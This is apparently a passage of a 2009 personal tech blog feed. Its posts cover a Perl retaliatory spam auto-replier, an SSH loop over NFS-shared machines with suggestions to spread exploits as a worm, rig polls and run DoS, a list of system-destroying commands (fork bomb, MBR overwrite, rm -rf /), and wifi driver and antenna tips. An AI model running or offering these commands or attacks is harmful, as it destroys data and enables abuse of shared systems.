certain pattern to this new mailbox.&lt;br /&gt;To respond to the sender, I was using the mailx command, for simplicity.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Perl is new for me, so my coding style is crappy, I know. Of course, feel free to criticize it if you feel the need.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="perl"&gt;&lt;br /&gt;#!/usr/bin/perl -w&lt;br /&gt;my $user = 'bobo@gmail.com';&lt;br /&gt;my $pass = 'papassword';&lt;br /&gt;my $home = '/home/blabla/automailer';&lt;br /&gt;&lt;br /&gt;my $pop = new Mail::POP3Client(&lt;br /&gt;   USER     =&gt; $user,&lt;br /&gt;   PASSWORD =&gt; $pass,&lt;br /&gt;   HOST     =&gt; "pop.gmail.com",&lt;br /&gt;   PORT     =&gt; 995,&lt;br /&gt;   USESSL   =&gt; 'true',&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;my $count = $pop-&gt;Count();&lt;br /&gt;for my $i (1 .. $count) {&lt;br /&gt;my $name = "";&lt;br /&gt;my $email = "";&lt;br /&gt;my $subj = "";&lt;br /&gt;foreach ($pop-&gt;Head($i)) {&lt;br /&gt;   $name = $1 if /^(?:From):(.+)&lt;(.+)&gt;/i;&lt;br /&gt;   $email = $1 if /^(?:From):(?:.+)&lt;(.+)&gt;/i;&lt;br /&gt;   $subj = $1 if /^(?:Subject):(.+)/i;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;# We remove the spaces at beginning/end&lt;br /&gt;s/^\s+// for $subj;&lt;br /&gt;s/\s+$// for $subj;&lt;br /&gt;s/^\s+// for $email;&lt;br /&gt;s/\s+$// for $email;&lt;br /&gt;s/^\s+// for $name;&lt;br /&gt;s/\s+$// for $name;&lt;br /&gt;&lt;br /&gt;# We save the history&lt;br /&gt;open FILE, "&lt; $home/contact.txt" or die;     my @array = &lt;file&gt;;&lt;br /&gt;close FILE or die;&lt;br /&gt;my $found = 0;&lt;br /&gt;my $number = 0;&lt;br /&gt;for my $i (0..$#array) {&lt;br /&gt;   if ($array[$i] =~ /$email\s+(\d+)/) {&lt;br /&gt;       $number = $1;&lt;br /&gt;       $number++;&lt;br /&gt;       $array[$i] =~ s/$1/$number/;&lt;br /&gt;       $found = 1;&lt;br /&gt;       # print FILE;&lt;br /&gt;   }&lt;br /&gt;}&lt;br /&gt;if ($found == 0) {&lt;br /&gt;   push(@array, "$email 1\n");&lt;br /&gt;   $number = 1;&lt;br /&gt;}&lt;br /&gt;open FILE, "&gt; $home/contact.txt" or die;&lt;br /&gt;print FILE @array;&lt;br /&gt;close FILE or die;&lt;br /&gt;&lt;br /&gt;my $msg;&lt;br /&gt;$msg .= "Hi $name,\n\n";&lt;br /&gt;$msg .= "I'm an auto replier.\n";&lt;br /&gt;$msg .= "Thanks a lot for your email \"".$subj."\", but I am absolutely not interested. Next time,&lt;br /&gt;please remove my address from your contact list.\n";&lt;br /&gt;$msg .= "Since apparently you already sent me ".$number." times an email, I am going to do the same&lt;br /&gt;x6. Thus, I'm sending you back ".($number * 6)." emails.\n" if ($number &gt; 1);&lt;br /&gt;$msg .= "\n";&lt;br /&gt;$msg .= "Thanks,\n";&lt;br /&gt;$msg .= "\n";&lt;br /&gt;$msg .= "Blabla.";&lt;br /&gt;$msg .= "\n";&lt;br /&gt;# print $msg;&lt;br /&gt;open FILE, "&gt; $home/msg.txt" or die;&lt;br /&gt;print FILE $msg;&lt;br /&gt;close FILE or die;&lt;br /&gt;&lt;br /&gt;for (my $i = 0; $i &lt; $number; $i++) {                &lt;br /&gt; `mailx $email -s \"Not interested: $subj $i\" &lt; $home/msg.txt`;   &lt;br /&gt; `mailx crappylist\@vovo.com -s \"Not interested: $subj $i\" &lt; $home/msg.txt`;         }     &lt;br /&gt;&lt;br /&gt; $pop-&gt;Delete($i);&lt;br /&gt;}&lt;br /&gt;$pop-&gt;Close();&lt;br /&gt;&lt;br /&gt;&lt;/file&gt;&lt;/pre&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;font-size:130%;" &gt;So what do we do ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;We first connect to the server and retrieve every email.&lt;/li&gt;&lt;li&gt;For each email, we take the sender's name, email address and the subject.&lt;/li&gt;&lt;li&gt;We build the message with the previously collected data.&lt;/li&gt;&lt;li&gt;We send the message and update the history. An entry in the history is email - times. First time we are polite, then we send 6x the number of emails the sender sent to us.&lt;/li&gt;&lt;li&gt;We send the email using mailx (easy way...).&lt;/li&gt;&lt;li&gt;We delete the message on the server, in order not to reprocess it.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;There we have a very effective auto-replier that will spam back the sender (and the list btw). You can put this Perl script in you crontab, of run a small bash script in a screen that will execute it every 10 minutes for instance.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;font-size:80%;" &gt;The end of the story ? &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;The administrator contacted me, because I was improperly using the computer resources of my school and I had to shut off my script :(...&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-1345464921083818878?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/1345464921083818878/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/09/defeat-googles-canned-response.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1345464921083818878'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1345464921083818878'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/09/defeat-googles-canned-response.html' title='Defeat google&apos;s canned response'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-1558981730337357686</id><published>2009-09-16T19:22:00.003+02:00</published><updated>2009-09-16T19:34:54.302+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='alix3d3'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><category scheme='http://www.blogger.com/atom/ns#' term='ath5k'/><title type='text'>ath5k: now in Master mode !</title><content type='html'>&lt;div style="text-align: justify;"&gt;This is a good news for those who have had big troubles with their Wireless drivers on the alix box.&lt;br /&gt;Finally, from kernel 2.6.31, ath5k supports master mode !&lt;br /&gt;&lt;br /&gt;At the time I am writing, kernel26 2.6.31 is not yet in the core repository for arch linux, thus you'll have to get it from the testing branch.&lt;br /&gt;&lt;br /&gt;I did different tests with multiple computers/iPhone, this works &lt;span style="font-weight: bold;"&gt;amazingly&lt;/span&gt; well, I reach speeds like never before !&lt;br /&gt;&lt;br /&gt;&lt;a href="http://life-is-a-hack.blogspot.com/2009/08/athpci-ath5k-i-want-to-use-both-of-them.html"&gt;Before&lt;/a&gt;, I had ath_pci and ath5k cohabiting on the same system. ath5k was complaining about a noise calibration problem:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;ath5k phy0: noise floor calibration timeout (2412MHz)&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: left;"&gt;However, what was weird was that the connection between my laptop and the router was dramatically slowed down as well. As a remember, I was using ath_pci for the card that linked the router to my laptop and ath5k for the card that linked the router to the wireless access point. My conclusion was that ath5k and ath_pci work together somehow.&lt;br /&gt;By removing ath_pci from my system, the messages disappeared and my connection became way better. Of course, I did not have access to the router anymore.&lt;br /&gt;&lt;br /&gt;Now that ath5k provides master mode (through hostapd), everything is solved and I have very nice speeds between both links, ie laptop to router and router to ap.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: left;"&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-1558981730337357686?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/1558981730337357686/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/09/ath5k-now-in-master-mode.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1558981730337357686'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/1558981730337357686'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/09/ath5k-now-in-master-mode.html' title='ath5k: now in Master mode !'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-7742212107058704532</id><published>2009-09-05T14:14:00.009+02:00</published><updated>2009-09-05T15:03:14.459+02:00</updated><title type='text'>Using NFS to simply abuse the system</title><content type='html'>It's not unusual that companies and schools use NFS (&amp;amp; LDAP) to virtually connect the machines together. Thus, if you connect on machine X, you will find the same content as if you had connected to machine Y.&lt;br /&gt;This is a very nice feature, because everywhere is like home :). It also means that if we have access to all these machines, we can take control of all of them at the same time.&lt;br /&gt;&lt;br /&gt;In this article, I will show and mention different examples where we can take benefits from multiple machines connected by NFS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To make it possible, we will simply use ssh. Basically, what we want to do is&lt;br /&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;Connect on every machine of a predefined list.&lt;/li&gt;&lt;li&gt;Execute the script on the machine.&lt;/li&gt;&lt;li&gt;Quit and connect to the next one.&lt;/li&gt;&lt;/ol&gt;This is extremely easy to do that. First, you create a ssh key pair, without any password:&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;ssh-keygen -t rsa&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Now that you have the public key available, you can put it in your authorized_keys file. If you don't know what I am talking about, &lt;a href="http://rcsg-gsir.imsb-dsgi.nrc-cnrc.gc.ca/documents/internet/node31.html"&gt;here &lt;/a&gt;is a neat article. Next, we can connect to all machines:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;for i in $POSTS; do&lt;br /&gt;echo $i&lt;br /&gt;ssh -T -o "StrictHostKeyChecking no" -o ConnectTimeout=3 \&lt;br /&gt; -i $KEY -l user $i $TOEXEC&lt;br /&gt;done&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here are few comments about the command:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;$POSTS&lt;span style="font-family:Georgia,serif;"&gt; &lt;/span&gt;is a list of machine you want to connect on.&lt;/li&gt;&lt;li&gt;"StrictHostKeyChecking no": ssh won't complain about not knowing the key.&lt;/li&gt;&lt;li&gt;ConnectTimeout=3: Abandon if cannot connect after 3 seconds.&lt;/li&gt;&lt;li&gt;KEY : place where your private key lies. Usually it's in ~/.ssh/&lt;/li&gt;&lt;li&gt;$TOEXEC: The command you want to exec on the remote machine. You can set EXEC=$1 if you want to pass a parameter to the file.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Now if you suppose that this snippet of code is called ./paral.sh, let me show you what kind of interesting application we can do with it.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;ol style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;The singing machines:  &lt;/span&gt;like on &lt;a href="http://www.youtube.com/watch?v=Iv7LZUonMY0"&gt;this video&lt;/a&gt;, you can make 80 iMac singing.  Upload a sound file on a directory that NFS shares, and then, execute ./paral.sh "aplay /soundfile.wav". Here, I also used the "at" command to somehow synchronize them together, but did not work very well.  In the same room as the video was taken, we made a script that was making the machines speaking together. That was fun.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Exploit &amp;amp; rootkit the machines:  &lt;/span&gt;for those of you that are more "evil", you can think about exploiting all the machines together. This is an easy way to write a small &lt;span style="font-style: italic;"&gt;worm&lt;/span&gt;. Again, put your exploit in your shared directory and execute the ./paral.sh file from one machine.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Abuse the web&lt;/span&gt;: it happens too often that web services recognize you based on your IP address. For example, you won't be able to vote a poll more than once a day. With this trick, you can use multiple machines to vote for a poll (provided you did the bot). Here is an example you can try to "attack": http://www.guesslotto.com/&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Use multiple machine to perform DoS, etc...&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Parallelize your work&lt;/span&gt;: if you have heavy calculations to perform, you can split it on multiple machines using this trick.&lt;/li&gt;&lt;li&gt;etc.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;This is a terrificly easy trick, but I have a lot of fun with it. I am using it especially to circumvent web protections.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Have fun 8)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-7742212107058704532?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/7742212107058704532/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/09/using-nfs-to-simply-abuse-system.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/7742212107058704532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/7742212107058704532'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/09/using-nfs-to-simply-abuse-system.html' title='Using NFS to simply abuse the system'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-5909563211083929747</id><published>2009-08-18T19:52:00.007+02:00</published><updated>2009-08-29T12:13:37.795+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='crash'/><title type='text'>6 ways to crash your linux. Because it's fun and useless :)</title><content type='html'>&lt;div style="text-align: justify;"&gt;This is the kind of topics that are completely useless, but that I like. It's probably like playing the Wii, it's useless, but you (we) like it.&lt;br /&gt;Well, here are different ways to crash your linux box, some of them are well known, like the fork bomb, others are more obscure. Some are irreversible, others are just "for the session", where a simple reboot is enough.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Let's see them.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The Fork bomb: this is a classic I shouldn't mention. Actually, it has a whole &lt;a href="http://en.wikipedia.org/wiki/Fork_bomb"&gt;wikipedia page&lt;/a&gt; devoted to it.&lt;br /&gt;&lt;pre name="code" class="bash"&gt; :(){ :|:&amp;amp; };: &lt;/pre&gt; will run your machine out of resource, unless you limit user processes in&lt;span style="font-weight: bold;"&gt; /etc/security/limits.conf&lt;/span&gt;.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;The next will overwrite your MBR with (pseudo) random data. At least you'll be sure not to boot your OS again  (neither Windows).&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;dd if=/dev/urandom of=/dev/sda bs=512 count=1&lt;br /&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;Reading I/O ports can have some nice "side effects". Try to run this command and you'll see what I'm talking about&lt;br /&gt;&lt;pre name="code" class="bash"&gt;sudo less -f /dev/port&lt;br /&gt;&lt;/pre&gt;The result will be that your machine will freeze. I did not dig into that to know why it was freezing, but this is fun :).&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;What happens when you overwrite the memory of a process ? Usually, it segfaults. You can put some fun (mess ?) in your system memory:&lt;br /&gt;&lt;pre name="code" class="bash"&gt;cp /dev/zero /dev/mem&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;This one became a cult, just because it probably already happened to you. You somehow make a confusion and you remove every single file on your hard drive&lt;br /&gt;&lt;pre name="code" class="bash"&gt;rm -rf /*&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Finally, we could use the power of the find command, with the 'exec' argument that will execute the command that follows it. This kind of mistake can happen when you are in a hurry.&lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;find . -type f -name * -exec rm -f {} \;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Hopefully, a lot of these commands (except the fork bomb) won't damage your computer if you run them as a simple user, simply because the linux system won't let you access the file you don't have the permission on.&lt;br /&gt;Obviously, if you try to write some LKM, the kernel will probably crash without your approval :P. From here, you could do whatever you want, since you are "God Almighty".&lt;br /&gt;&lt;br /&gt;Do you know some other ways to crash your machine ? Don't hesitate to post your way in here.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-5909563211083929747?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/5909563211083929747/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/6-ways-to-crash-your-linux-because-its.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/5909563211083929747'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/5909563211083929747'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/6-ways-to-crash-your-linux-because-its.html' title='6 ways to crash your linux. Because it&apos;s fun and useless :)'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-8624369862428657895</id><published>2009-08-15T14:38:00.006+02:00</published><updated>2009-08-29T12:13:52.188+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='madwifi'/><title type='text'>ath_pci &amp; ath5k: I want to use both of them</title><content type='html'>Here is my problem: &lt;br /&gt;I have two physical wireless cards. Until now, I was using the madwifi ath_pci modules for both cards. However, it fails a lot, is not very accurate, triggers kernel oops, losses the connection, etc. To sum up, I really don't like it. However, there is another option, by using the ath5k module. Sadly, ath5k does not support AP mode for now (well, it's experimental). So what I want to do is to use ath_pci for one card, the one that will be configured as AP, and ath5k for my client.&lt;br /&gt;&lt;br /&gt;Thanks to a geek friend (he'll recognize himself, hein nicolas ?), he figured out that we can unbind the device, as it is explained in &lt;a href="http://lwn.net/Articles/143397/"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Basically, I load both drivers (ath5k and ath_pci) when my box boots, and then, I simply do &lt;br /&gt;&lt;pre name="code" class="bash"&gt;&lt;br /&gt;    echo 0000:00:0e.0 &gt; /sys/bus/pci/drivers/ath5k/unbind&lt;br /&gt;    echo 0000:00:0e.0 &gt; /sys/bus/pci/drivers/ath_pci/bind&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We simply unbind the desired interface from ath5k and bind it again to ath_pci. To know which number to assign, just do a &lt;span style="font-weight:bold;"&gt;lspci&lt;/span&gt;. That works great.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4618371342657995948-8624369862428657895?l=life-is-a-hack.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://life-is-a-hack.blogspot.com/feeds/8624369862428657895/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/athpci-ath5k-i-want-to-use-both-of-them.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/8624369862428657895'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4618371342657995948/posts/default/8624369862428657895'/><link rel='alternate' type='text/html' href='http://life-is-a-hack.blogspot.com/2009/08/athpci-ath5k-i-want-to-use-both-of-them.html' title='ath_pci &amp; ath5k: I want to use both of them'/><author><name>cam0</name><uri>http://www.blogger.com/profile/00317854258602811333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_VjvtY-L1RNE/TEGhOeIqHkI/AAAAAAAANLk/Xci0iK4Q6Ns/S220/image.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4618371342657995948.post-2979099272041012860</id><published>2009-08-12T17:26:00.001+02:00</published><updated>2009-10-29T10:56:59.662+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gain'/><category scheme='http://www.blogger.com/atom/ns#' term='tips'/><category scheme='http://www.blogger.com/atom/ns#' term='wifi'/><category scheme='http://www.blogger.com/atom/ns#' term='antenna'/><title type='text'>9 hardcore tips to boost your Wifi signal [that normal people don't know about]</title><content type='html'>&lt;div style="text-align: justify;"&gt;I'm not going to speak about adding an antenna or adding a repeater to increase your signal. This topics are trivial and well covered (just see &lt;a href="http://www.google.ch/search?q=boost+wireless+signal&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla:en-US:official&amp;amp;client=firefox-a"&gt;here&lt;/a&gt; for instance). Instead, we will look at different optimizations for signal gain, that you probably were not aware of.&lt;br /&gt;In this topic, I will mostly address the problem you might have when dealing with a medium distance access point (like your neighbour for example).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:180%;" &gt;&lt;span&gt;Antenna related&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:180%;"&gt;1) &lt;/span&gt; The antenna is probably the first tool you will need to have a descent signal. Choosing a good antenna does depend on the place where you live. For example, if you live in a very dense city,  it makes no sense to use a 26dbi parabolic dish. Instead, you will prefer a Yagi or a panel antenna. &lt;a href="http://life-is-a-hack.blogspot.com/2009/07/comparison-between-3-different-types-of.html"&gt;Looking at the radiation pattern of the antenna will help you understanding what is the best for you.&lt;/a&gt; Moreover, if you have a high gain antenna, you will face up the &lt;a href="http://en.wikipedia.org/wiki/Hidden_node_problem"&gt;hidden terminal problem&lt;/a&gt;. So don't fall in the trap of "the biggest the best". Of course, it will be a good idea to put your antenna outside, ie on your balcony or on the window edge.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;2) &lt;/span&gt;Avoid using too many connectors. Indeed, every time you use a connector (or a pigtail), a large part of the signal is lost. Prefer only one wire, directly connected from your access point(AP)/card to the antenna.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;3) &lt;/span&gt;Use very small cables. I'm always amazed when I see people on ebay selling Yagi antenna with 30 meters of coax cable. A good low-loss cable has a loss of around 0.4db/meter, it means that if you have 30 meters of cable, you are loosing 12dbi. So what's the point of having a 19dbi antenna then ?&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:180%;"&gt;4) &lt;/span&gt;The polarization of the antenna is something people usually don't care. However, a "mis-polarized" antenna can have tremendous damages on your signal  If you don't know what "polarization" is, just think about your polarized sunglasses. Basically, the glasses let only pass certain type of waves. In wireless it's the same: if someone is emitting a vertically (linearly) polarized wave and you set up your antenna horizontally, you will miss the signal.&lt;br /&gt;If you still don't understand what this "polarization" is, the best way to proceed is by "trial and error": turn your antenna all the way around until your get the maximal strength.&lt;br /&gt;The following antenna has an horizontal polarization (source: &lt;a href="http://www.blogger.com/Wikipedia"&gt;Wikipedia&lt;/a&gt;), for some obvious reasons. If you take another parabolic antenna and you turn it to have a vertical polarization, you won't be able to get any signal.&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:180%;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://en.wikipedia.org/wiki/Parabolic_antenna"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 105px; height: 184px;" src="http://upload.wikimedia.org/wikipedia/commons/f/fb/Parabolic_antenna.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;However, waves might change polarization when they hit objects, so don't go too crazy with that. Usually, omnidirectional antennas are low profile antennas and tempts to have a circular polarization. Based on my observation, &lt;span style="font-weight: bold;"&gt;I would say that the vertical polarization is predominant&lt;/span&gt;, though.&lt;br /&gt;&lt;br /&gt;Note that it doesn't mean because your are pointing to the AP that you will get the maximum strength (this is only true for parabolic antennas). In the future, we will see how to measure the signal in a pretty accurate manner.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;802.11 &amp;amp; hardware related&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;5) &lt;/span&gt;If you can change the AP channel, try to take one that is not over-used in your neighbourhood. You can figure this out by counting the number of access points that are on the same channel, by using &lt;a href="http://www.kismetwireless.net/"&gt;kismet&lt;/a&gt; for example. This makes sense, since data is braodcasted, the more people will use the same channel (even with different APs), the more collisions there will be. Note that the channels go by group of 3, like on this figure. Thus, channel 1 and 3 lie on the same frequency band, but channel 1 and 5 don't. Usually, people don't change their channel, and leave the default one (usually 6 or 1), so switching to channel 14 seems to be a good plan. Of course, if you can go 5GHz, go 5GHz, there will be even less people on there.&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://pic19.picturetrail.com/VOL1099/4465559/21344768/359704007.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 606px; height: 188px;" src="http://pic19.picturetrail.com/VOL1099/4465559/21344768/359704007.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:180%;"&gt;6) &lt;/span&gt;Many times, changing channel does not help, because they are all &lt;span style="font-weight: bold;"&gt;busy&lt;/span&gt; and a lot of people are using them. In this case, enabling RTS/CTS (Request to Send / Clear to Send)   will definitely help. Basically, when a client wants to send a packet, it first sends a RTS to make sure nobody is using the channel. Then, the AP replies with a CTS to confirm that it (the client) can send its packet.&lt;br /&gt;RTS/CTS is usually disabled (ie set at a very high value). If the channel is very busy, you'll need to decrease the RTS/CTS threshold, at 500b for example,  meaning that a RTS will be sent only for packets &gt;= 500b. You'll increase the overhead, but ultimately you'll transmit more packets (and avoid the hidden node problem).&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;To understand better why the RTS/CTS is needed, let's take this example: suppose that you are in a restaurant. If it's crowded, there will be a lot of people speaking at the same time (ie channel "busy"). By analogy - if you assume that the restaurant is the channel you are using and the people speaking are the clients using this channel - when using RTS/CTS mechanism, we take care that no other people are speaking. It's like saying "Now I'm speaking, please shut up (RTS)" to everyone in the restaurant, and the person to whom you are speaking would reply (once everybody is silent) "OK, I let you speak now, go ahead (CTS)". Of course, if you are alone in the restaurant, there is no need to say that. Well, don't do it in real life, it might be weird...&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;7) &lt;/span&gt;We have seen that when a channel is busy, we can enable the RTS/CTS mechanism. However, sometimes the link is BAD, meaning there is a lot of white noise on the line. Basically, you might have a good signal, but a lot of noise, decreasing your signal/noise ration (SNR). The trick here is to transmit smaller packets. Suppose that you are sending BIG packets and the noise destroys a packet with a certain probability, you will loose more data (and hence need to retransmit) when these packets are big rather than small. Well, this doesn't work linearly like that, but you got the idea. It means that if the packet is smaller, there will be less to retransmit. This setting 